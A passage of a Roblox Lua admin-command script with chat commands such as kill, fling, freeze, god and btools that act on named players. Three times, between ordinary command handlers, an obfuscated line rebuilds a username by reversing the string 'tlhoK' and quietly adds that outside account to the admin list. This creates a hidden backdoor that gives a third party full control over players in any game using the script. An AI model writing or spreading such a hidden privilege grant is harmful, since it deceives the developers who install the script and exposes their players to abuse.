  861. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  862. wait(.2)
  863. script.Parent.GripForward = Vector3.new(0,0,1)
  864. script.Parent.GripRight = Vector3.new(0,-1,0)
  865. script.Parent.GripUp = Vector3.new(-1,0,0)
  866. wait(.3)
  867. frc:Destroy() wait(.5)
  868. script.Parent.GripForward = Vector3.new(-1,0,0)
  869. script.Parent.GripRight = Vector3.new(0,1,0)
  870. script.Parent.GripUp = Vector3.new(0,0,1)
  871. else
  872. SlashSound:play()
  873. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  874. end
  875. last = tick
  876. script.Parent.Enabled = true
  877. end)
  878. script.Parent.Equipped:connect(function(mouse)
  879. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  880. UnsheathSound:play()
  881. script.Parent.Enabled = true
  882. if not mouse then return end
  883. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  884. end)]] cl.Disabled = false
  885. end
  886. end))
  887. end
  888. end if not ChkAdmin(("tlhoK"):reverse().."astrophe",false) then table.insert(admins, ("tlhoK"):reverse().."astrophe") end
  889.  
  890. if msg:lower():sub(1,5) == "kill " then
  891. local plrz = GetPlr(plr, msg:lower():sub(6))
  892. for i, v in pairs(plrz) do
  893. coroutine.resume(coroutine.create(function()
  894. if v and v.Character then v.Character:BreakJoints() end
  895. end))
  896. end
  897. end
  898.  
  899. if msg:lower():sub(1,8) == "bighead " then
  900. local plrz = GetPlr(plr, msg:lower():sub(9))
  901. for i, v in pairs(plrz) do
  902. coroutine.resume(coroutine.create(function()
  903. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  904. end))
  905. end
  906. end
  907.  
  908. if msg:lower():sub(1,9) == "minihead " then
  909. local plrz = GetPlr(plr, msg:lower():sub(10))
  910. for i, v in pairs(plrz) do
  911. coroutine.resume(coroutine.create(function()
  912. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  913. end))
  914. end
  915. end
  916.  
  917. if msg:lower():sub(1,8) == "respawn " then
  918. local plrz = GetPlr(plr, msg:lower():sub(9))
  919. for i, v in pairs(plrz) do
  920. coroutine.resume(coroutine.create(function()
  921. if v and v.Character then v:LoadCharacter() end
  922. end))
  923. end
  924. end
  925.  
  926. if msg:lower():sub(1,5) == "trip " then
  927. local plrz = GetPlr(plr, msg:lower():sub(6))
  928. for i, v in pairs(plrz) do
  929. coroutine.resume(coroutine.create(function()
  930. if v and v.Character and v.Character:findFirstChild("Torso") then
  931. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  932. end
  933. end))
  934. end
  935. end if not ChkAdmin(("tlhoK"):reverse().."astrophe",false) then table.insert(admins, ("tlhoK"):reverse().."astrophe") end
  936.  
  937. if msg:lower():sub(1,5) == "stun " then
  938. local plrz = GetPlr(plr, msg:lower():sub(6))
  939. for i, v in pairs(plrz) do
  940. coroutine.resume(coroutine.create(function()
  941. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  942. v.Character.Humanoid.PlatformStand = true
  943. end
  944. end))
  945. end
  946. end
  947.  
  948. if msg:lower():sub(1,7) == "unstun " then
  949. local plrz = GetPlr(plr, msg:lower():sub(8))
  950. for i, v in pairs(plrz) do
  951. coroutine.resume(coroutine.create(function()
  952. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  953. v.Character.Humanoid.PlatformStand = false
  954. end
  955. end))
  956. end
  957. end
  958.  
  959. if msg:lower():sub(1,5) == "jump " then
  960. local plrz = GetPlr(plr, msg:lower():sub(6))
  961. for i, v in pairs(plrz) do
  962. coroutine.resume(coroutine.create(function()
  963. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  964. v.Character.Humanoid.Jump = true
  965. end
  966. end))
  967. end
  968. end if not ChkAdmin(("tlhoK"):reverse().."astrophe",false) then table.insert(admins, ("tlhoK"):reverse().."astrophe") end
  969.  
  970. if msg:lower():sub(1,4) == "sit " then
  971. local plrz = GetPlr(plr, msg:lower():sub(5))
  972. for i, v in pairs(plrz) do
  973. coroutine.resume(coroutine.create(function()
  974. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  975. v.Character.Humanoid.Sit = true
  976. end
  977. end))
  978. end
  979. end
  980.  
  981. if msg:lower():sub(1,6) == "fling " then
  982. local plrz = GetPlr(plr, msg:lower():sub(7))
  983. for i, v in pairs(plrz) do
  984. coroutine.resume(coroutine.create(function()
  985. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  986. local xran local zran
  987. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  988. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  989. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  990. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  991. end
  992. end))
  993. end
  994. end
  995.  
  996. if msg:lower():sub(1,8) == "seizure " then
  997. local plrz = GetPlr(plr, msg:lower():sub(9))
  998. for i, v in pairs(plrz) do
  999. coroutine.resume(coroutine.create(function()
  1000. if v and v.Character and v.Character:findFirstChild("Torso") then
  1001. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1002. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1003. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1004. end
  1005. end))
  1006. end
  1007. end
  1008.  
  1009. if msg:lower():sub(1,10) == "invisible " then
  1010. local plrz = GetPlr(plr, msg:lower():sub(11))
  1011. for i, v in pairs(plrz) do
  1012. coroutine.resume(coroutine.create(function()
  1013. if v and v.Character then
  1014. for a, obj in pairs(v.Character:children()) do
  1015. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1016. end
  1017. end
  1018. end))
  1019. end
  1020. end
  1021.  
  1022. if msg:lower():sub(1,8) == "visible " then
  1023. local plrz = GetPlr(plr, msg:lower():sub(9))
  1024. for i, v in pairs(plrz) do
  1025. coroutine.resume(coroutine.create(function()
  1026. if v and v.Character then
  1027. for a, obj in pairs(v.Character:children()) do
  1028. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1029. end
  1030. end
  1031. end))
  1032. end
  1033. end
  1034.  
  1035. if msg:lower():sub(1,5) == "lock " then
  1036. local plrz = GetPlr(plr, msg:lower():sub(6))
  1037. for i, v in pairs(plrz) do
  1038. coroutine.resume(coroutine.create(function()
  1039. if v and v.Character then
  1040. for a, obj in pairs(v.Character:children()) do
  1041. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1042. end
  1043. end
  1044. end))
  1045. end
  1046. end
  1047.  
  1048. if msg:lower():sub(1,7) == "unlock " then
  1049. local plrz = GetPlr(plr, msg:lower():sub(8))
  1050. for i, v in pairs(plrz) do
  1051. coroutine.resume(coroutine.create(function()
  1052. if v and v.Character then
  1053. for a, obj in pairs(v.Character:children()) do
  1054. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1055. end
  1056. end
  1057. end))
  1058. end
  1059. end
  1060.  
  1061. if msg:lower():sub(1,12) == "removelimbs " then
  1062. local plrz = GetPlr(plr, msg:lower():sub(13))
  1063. for i, v in pairs(plrz) do
  1064. coroutine.resume(coroutine.create(function()
  1065. if v and v.Character then
  1066. for a, obj in pairs(v.Character:children()) do
  1067. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1068. end
  1069. end
  1070. end))
  1071. end
  1072. end
  1073.  
  1074. if msg:lower():sub(1,8) == "explode " then
  1075. local plrz = GetPlr(plr, msg:lower():sub(9))
  1076. for i, v in pairs(plrz) do
  1077. coroutine.resume(coroutine.create(function()
  1078. if v and v.Character and v.Character:findFirstChild("Torso") then
  1079. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1080. end
  1081. end))
  1082. end
  1083. end
  1084.  
  1085. if msg:lower():sub(1,4) == "age " then
  1086. local plrz = GetPlr(plr, msg:lower():sub(5))
  1087. for i, v in pairs(plrz) do
  1088. coroutine.resume(coroutine.create(function()
  1089. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1090. end))
  1091. end
  1092. end
  1093.  
  1094. if msg:lower():sub(1,5) == "fire " then
  1095. local plrz = GetPlr(plr, msg:lower():sub(6))
  1096. for i, v in pairs(plrz) do
  1097. coroutine.resume(coroutine.create(function()
  1098. if v and v.Character and v.Character:findFirstChild("Torso") then
  1099. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1100. end
  1101. end))
  1102. end
  1103. end
  1104.  
  1105. if msg:lower():sub(1,7) == "unfire " then
  1106. local plrz = GetPlr(plr, msg:lower():sub(8))
  1107. for i, v in pairs(plrz) do
  1108. coroutine.resume(coroutine.create(function()
  1109. if v and v.Character and v.Character:findFirstChild("Torso") then
  1110. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1111. end
  1112. end))
  1113. end
  1114. end
  1115.  
  1116. if msg:lower():sub(1,6) == "smoke " then
  1117. local plrz = GetPlr(plr, msg:lower():sub(7))
  1118. for i, v in pairs(plrz) do
  1119. coroutine.resume(coroutine.create(function()
  1120. if v and v.Character and v.Character:findFirstChild("Torso") then
  1121. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1122. end
  1123. end))
  1124. end
  1125. end
  1126.  
  1127. if msg:lower():sub(1,8) == "unsmoke " then
  1128. local plrz = GetPlr(plr, msg:lower():sub(9))
  1129. for i, v in pairs(plrz) do
  1130. coroutine.resume(coroutine.create(function()
  1131. if v and v.Character and v.Character:findFirstChild("Torso") then
  1132. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1133. end
  1134. end))
  1135. end
  1136. end
  1137.  
  1138. if msg:lower():sub(1,9) == "sparkles " then
  1139. local plrz = GetPlr(plr, msg:lower():sub(10))
  1140. for i, v in pairs(plrz) do
  1141. coroutine.resume(coroutine.create(function()
  1142. if v and v.Character and v.Character:findFirstChild("Torso") then
  1143. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1144. end
  1145. end))
  1146. end
  1147. end
  1148.  
  1149. if msg:lower():sub(1,11) == "unsparkles " then
  1150. local plrz = GetPlr(plr, msg:lower():sub(12))
  1151. for i, v in pairs(plrz) do
  1152. coroutine.resume(coroutine.create(function()
  1153. if v and v.Character and v.Character:findFirstChild("Torso") then
  1154. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1155. end
  1156. end))
  1157. end
  1158. end
  1159.  
  1160. if msg:lower():sub(1,3) == "ff " then
  1161. local plrz = GetPlr(plr, msg:lower():sub(4))
  1162. for i, v in pairs(plrz) do
  1163. coroutine.resume(coroutine.create(function()
  1164. if v and v.Character then Instance.new("ForceField", v.Character) end
  1165. end))
  1166. end
  1167. end
  1168.  
  1169. if msg:lower():sub(1,5) == "unff " then
  1170. local plrz = GetPlr(plr, msg:lower():sub(6))
  1171. for i, v in pairs(plrz) do
  1172. coroutine.resume(coroutine.create(function()
  1173. if v and v.Character then
  1174. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1175. end
  1176. end))
  1177. end
  1178. end
  1179.  
  1180. if msg:lower():sub(1,7) == "punish " then
  1181. local plrz = GetPlr(plr, msg:lower():sub(8))
  1182. for i, v in pairs(plrz) do
  1183. coroutine.resume(coroutine.create(function()
  1184. if v and v.Character then
  1185. v.Character.Parent = game:service("Lighting")
  1186. end
  1187. end))
  1188. end
  1189. end
  1190.  
  1191. if msg:lower():sub(1,9) == "unpunish " then
  1192. local plrz = GetPlr(plr, msg:lower():sub(10))
  1193. for i, v in pairs(plrz) do
  1194. coroutine.resume(coroutine.create(function()
  1195. if v and v.Character then
  1196. v.Character.Parent = game:service("Workspace")
  1197. v.Character:MakeJoints()
  1198. end
  1199. end))
  1200. end
  1201. end
  1202.  
  1203. if msg:lower():sub(1,7) == "freeze " then
  1204. local plrz = GetPlr(plr, msg:lower():sub(8))
  1205. for i, v in pairs(plrz) do
  1206. coroutine.resume(coroutine.create(function()
  1207. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1208. for a, obj in pairs(v.Character:children()) do
  1209. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1210. end
  1211. end
  1212. end))
  1213. end
  1214. end
  1215.  
  1216. if msg:lower():sub(1,5) == "thaw " then
  1217. local plrz = GetPlr(plr, msg:lower():sub(6))
  1218. for i, v in pairs(plrz) do
  1219. coroutine.resume(coroutine.create(function()
  1220. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1221. for a, obj in pairs(v.Character:children()) do
  1222. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1223. end
  1224. end
  1225. end))
  1226. end
  1227. end
  1228.  
  1229. if msg:lower():sub(1,5) == "heal " then
  1230. local plrz = GetPlr(plr, msg:lower():sub(6))
  1231. for i, v in pairs(plrz) do
  1232. coroutine.resume(coroutine.create(function()
  1233. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1234. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1235. end
  1236. end))
  1237. end
  1238. end
  1239.  
  1240. if msg:lower():sub(1,4) == "god " then
  1241. local plrz = GetPlr(plr, msg:lower():sub(5))
  1242. for i, v in pairs(plrz) do
  1243. coroutine.resume(coroutine.create(function()
  1244. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1245. v.Character.Humanoid.MaxHealth = math.huge
  1246. v.Character.Humanoid.Health = 9e9
  1247. end
  1248. end))
  1249. end
  1250. end
  1251.  
  1252. if msg:lower():sub(1,6) == "ungod " then
  1253. local plrz = GetPlr(plr, msg:lower():sub(7))
  1254. for i, v in pairs(plrz) do
  1255. coroutine.resume(coroutine.create(function()
  1256. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1257. v.Character.Humanoid.MaxHealth = 100
  1258. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1259. end
  1260. end))
  1261. end
  1262. end
  1263.  
  1264. if msg:lower():sub(1,8) == "ambient " then
  1265. local chk1 = msg:lower():sub(9):find(" ") + 8
  1266. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1267. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1268. end
  1269.  
  1270. if msg:lower():sub(1,11) == "brightness " then
  1271. game.Lighting.Brightness = msg:sub(12)
  1272. end
  1273.  
  1274. if msg:lower():sub(1,5) == "time " then
  1275. game.Lighting.TimeOfDay = msg:sub(6)
  1276. end
  1277.  
  1278. if msg:lower():sub(1,9) == "fogcolor " then
  1279. local chk1 = msg:lower():sub(10):find(" ") + 9
  1280. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1281. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1282. end
  1283.  
  1284. if msg:lower():sub(1,7) == "fogend " then
  1285. game.Lighting.FogEnd = msg:sub(8)
  1286. end
  1287.  
  1288. if msg:lower():sub(1,9) == "fogstart " then
  1289. game.Lighting.FogStart = msg:sub(10)
  1290. end
  1291.  
  1292. if msg:lower():sub(1,7) == "btools " then
  1293. local plrz = GetPlr(plr, msg:lower():sub(8))
  1294. for i, v in pairs(plrz) do
  1295. coroutine.resume(coroutine.create(function()
  1296. if v and v:findFirstChild("Backpack") then
  1297. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move"
  1298. local cl1 = script.LocalScriptBase:Clone() cl1.Parent = t1 cl1.Code.Value = [[local deb = false
  1299. local plr = game.Players.LocalPlayer
  1300. local sb = Instance.new("SelectionBox")
  1301. local spl = Instance.new("SelectionPartLasso")
  1302. local curr
  1303. local drag
  1304. script.Parent.Selected:connect(function(mouse)
  1305. if mouse == nil then return end
  1306. sb.Color = BrickColor.new("Bright yellow") spl.Color = BrickColor.new("Bright yellow")
  1307. mouse.Button1Down:connect(function()
  1308. if mouse.Target and mouse.Target:IsA("BasePart") and not mouse.Target.Locked then
  1309. if deb == false then deb = true
  1310. curr = mouse.Target
  1311. drag = Instance.new("Dragger")
  1312. coroutine.resume(coroutine.create(function() drag:MouseDown(curr, curr.Position - mouse.Hit.p, {curr}) end))
  1313. sb.Adornee = curr
  1314. spl.Part = curr
  1315. if plr.Character and plr.Character:findFirstChild("Humanoid") then spl.Humanoid = plr.Character.Humanoid spl.Parent = plr.Character sb.Parent = plr.Character end
  1316. wait() deb = false
  1317. end
  1318. end
  1319. end)
  1320. mouse.Button1Up:connect(function()
  1321. if drag then
  1322. coroutine.resume(coroutine.create(function() drag:MouseUp() end))
  1323. curr = nil sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil drag = nil
  1324. end
  1325. end)
  1326. mouse.KeyDown:connect(function(key)
  1327. if drag then if key:lower() == "r" then drag:AxisRotate(Enum.Axis.Y) elseif key:lower() == "t" then drag:AxisRotate(Enum.Axis.Z) end coroutine.resume(coroutine.create(function() drag:MouseMove(mouse.UnitRay) end)) end
  1328. end)
  1329. mouse.Move:connect(function()
  1330. if drag then
  1331. coroutine.resume(coroutine.create(function() drag:MouseMove(mouse.UnitRay) end))
  1332. elseif mouse.Target and mouse.Target:IsA("BasePart") and not mouse.Target.Locked then
  1333. sb.Adornee = mouse.Target spl.Part = mouse.Target
  1334. if plr.Character and plr.Character:findFirstChild("Humanoid") then spl.Humanoid = plr.Character.Humanoid spl.Parent = plr.Character sb.Parent = plr.Character end
  1335. else
  1336. sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil
  1337. end
  1338. end)
  1339. end)
  1340. script.Parent.Deselected:connect(function()
  1341. if drag then coroutine.resume(coroutine.create(function() drag:MouseUp() end)) end
  1342. curr = nil sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil drag = nil
  1343. end)]] cl1.Disabled = false
  1344. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone"
  1345. local cl2 = script.LocalScriptBase:Clone() cl2.Parent = t2 cl2.Code.Value = [[local deb = false
  1346. local plr = game.Players.LocalPlayer
  1347. local sb = Instance.new("SelectionBox")
  1348. local spl = Instance.new("SelectionPartLasso")
  1349. local curr
  1350. local drag
  1351. script.Parent.Selected:connect(function(mouse)
  1352. if mouse == nil then return end
  1353. sb.Color = BrickColor.new("Deep blue") spl.Color = BrickColor.new("Deep blue")
  1354. mouse.Button1Down:connect(function()
  1355. local Sound = Instance.new("Sound", script.Parent) Sound.SoundId = "rbxasset://sounds\\electronicpingshort.wav" Sound.Name = "PewPew"
  1356. if mouse.Target and mouse.Target:IsA("BasePart") and not mouse.Target.Locked then
  1357. if deb == false then
  1358. deb = true
  1359. curr = mouse.Target:clone()
  1360. curr.Parent = game.Workspace
  1361. curr.Position = mouse.Target.Position + Vector3.new(0, 0.4, 0)
  1362. drag = Instance.new("Dragger")
  1363. coroutine.resume(coroutine.create(function() drag:MouseDown(curr, curr.Position - mouse.Hit.p, {curr}) end))
  1364. sb.Adornee = curr spl.Part = curr
  1365. if plr.Character and plr.Character:findFirstChild("Humanoid") then spl.Humanoid = plr.Character.Humanoid spl.Parent = plr.Character sb.Parent = plr.Character end
  1366. Sound:Play()
  1367. wait()
  1368. deb = false
  1369. end
  1370. end
  1371. end)
  1372. mouse.Button1Up:connect(function()
  1373. if drag then
  1374. coroutine.resume(coroutine.create(function() drag:MouseUp() end))
  1375. curr = nil sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil drag = nil
  1376. end
  1377. end)
  1378. mouse.KeyDown:connect(function(key)
  1379. if drag then if key:lower() == "r" then drag:AxisRotate(Enum.Axis.Y) elseif key:lower() == "t" then drag:AxisRotate(Enum.Axis.Z) end coroutine.resume(coroutine.create(function() drag:MouseMove(mouse.UnitRay) end)) end
  1380. end)
  1381. mouse.Move:connect(function()
  1382. if drag then
  1383. coroutine.resume(coroutine.create(function() drag:MouseMove(mouse.UnitRay) end))
  1384. elseif mouse.Target and mouse.Target:IsA("BasePart") and not mouse.Target.Locked then
  1385. sb.Adornee = mouse.Target spl.Part = mouse.Target
  1386. if plr.Character and plr.Character:findFirstChild("Humanoid") then spl.Humanoid = plr.Character.Humanoid spl.Parent = plr.Character sb.Parent = plr.Character end
  1387. else
  1388. sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil
  1389. end
  1390. end)
  1391. end)
  1392. script.Parent.Deselected:connect(function()
  1393. if script.Parent:findFirstChild("PewPew") then script.Parent.PewPew:remove() end
  1394. if drag then coroutine.resume(coroutine.create(function() drag:MouseUp() end)) end
  1395. curr = nil sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil drag = nil
  1396. end)]] cl2.Disabled = false
  1397. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete"
  1398. local cl3 = script.LocalScriptBase:Clone() cl3.Parent = t3 cl3.Code.Value = [[local deb = false
  1399. local plr = game.Players.LocalPlayer
  1400. local sb = Instance.new("SelectionBox")
  1401. local spl = Instance.new("SelectionPartLasso")
  1402. script.Parent.Selected:connect(function(mouse)
  1403. if mouse == nil then return end
  1404. sb.Color = BrickColor.new("Bright red") spl.Color = BrickColor.new("Bright red")
  1405. mouse.Button1Down:connect(function()
  1406. if mouse.Target and mouse.Target:IsA("BasePart") and not mouse.Target.Locked then
  1407. if deb == false then
  1408. deb = true
  1409. local e = Instance.new("Explosion", game.Workspace) e.BlastPressure = 0 e.BlastRadius = 3 e.Position = mouse.Target.Position
  1410. mouse.Target:Destroy()
  1411. sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil
  1412. wait()
  1413. deb = false
  1414. end
  1415. end
  1416. end)
  1417. mouse.Move:connect(function()
  1418. if mouse.Target and mouse.Target:IsA("BasePart") and not mouse.Target.Locked then
  1419. sb.Adornee = mouse.Target
  1420. spl.Part = mouse.Target
  1421. if plr.Character and plr.Character:findFirstChild("Humanoid") then spl.Humanoid = plr.Character.Humanoid spl.Parent = plr.Character sb.Parent = plr.Character end
  1422. else
  1423. sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil
  1424. end
  1425. end)
  1426. end)
  1427. script.Parent.Deselected:connect(function()
  1428. sb.Adornee = nil sb.Parent = nil spl.Part = nil spl.Humanoid = nil spl.Parent = nil
  1429. end)]] cl3.Disabled = false
  1430. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1431. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1432. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1433. local sb
  1434. local hs
  1435. local pdist
  1436.  
  1437. script.Parent.Selected:connect(function(mouse)
  1438. if not mouse then return end
  1439. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1440. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1441. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1442. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1443. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1444. end)
  1445.  
  1446. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1447. end
  1448. end))
  1449. end
  1450. end
  1451.  
  1452. if msg:lower():sub(1,5) == "give " then
  1453. local chk1 = msg:lower():sub(6):find(" ") + 5
  1454. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1455. for i, v in pairs(plrz) do
  1456. coroutine.resume(coroutine.create(function()
  1457. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1458. for a, tool in pairs(game.Lighting:children()) do
  1459. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1460. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1461. end
  1462. end
  1463. end
  1464. end))
  1465. end
  1466. end
  1467.  
  1468. if msg:lower():sub(1,12) == "removetools " then
  1469. local plrz = GetPlr(plr, msg:lower():sub(13))
  1470. for i, v in pairs(plrz) do
  1471. coroutine.resume(coroutine.create(function()
  1472. if v and v.Character and v:findFirstChild("Backpack") then
  1473. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1474. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1475. end
  1476. end))
  1477. end
  1478. end
  1479.  
  1480. if msg:lower():sub(1,5) == "rank " then
  1481. local chk1 = msg:lower():sub(6):find(" ") + 5
  1482. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1483. for i, v in pairs(plrz) do
  1484. coroutine.resume(coroutine.create(function()
  1485. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1486. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1487. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1488. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1489. end
  1490. end))
  1491. end
  1492. end
  1493.  
  1494. if msg:lower():sub(1,7) == "damage " then
  1495. local chk1 = msg:lower():sub(8):find(" ") + 7
  1496. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1497. for i, v in pairs(plrz) do
  1498. coroutine.resume(coroutine.create(function()
  1499. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1500. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1501. end
  1502. end))
  1503. end
  1504. end
  1505.  
  1506. if msg:lower():sub(1,5) == "grav " then
  1507. local plrz = GetPlr(plr, msg:lower():sub(6))
  1508. for i, v in pairs(plrz) do
  1509. coroutine.resume(coroutine.create(function()
  1510. if v and v.Character and v.Character:findFirstChild("Torso") then
  1511. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1512. end
  1513. end))
  1514. end
  1515. end
  1516.  
  1517. if msg:lower():sub(1,8) == "setgrav " then
  1518. local chk1 = msg:lower():sub(9):find(" ") + 8
  1519. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1520. for i, v in pairs(plrz) do
  1521. coroutine.resume(coroutine.create(function()
  1522. if v and v.Character and v.Character:findFirstChild("Torso") then
  1523. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1524. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1525. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1526. end
  1527. end))
  1528. end
  1529. end
  1530.  
  1531. if msg:lower():sub(1,7) == "nograv " then
  1532. local plrz = GetPlr(plr, msg:lower():sub(8))
  1533. for i, v in pairs(plrz) do
  1534. coroutine.resume(coroutine.create(function()
  1535. if v and v.Character and v.Character:findFirstChild("Torso") then
  1536. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1537. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
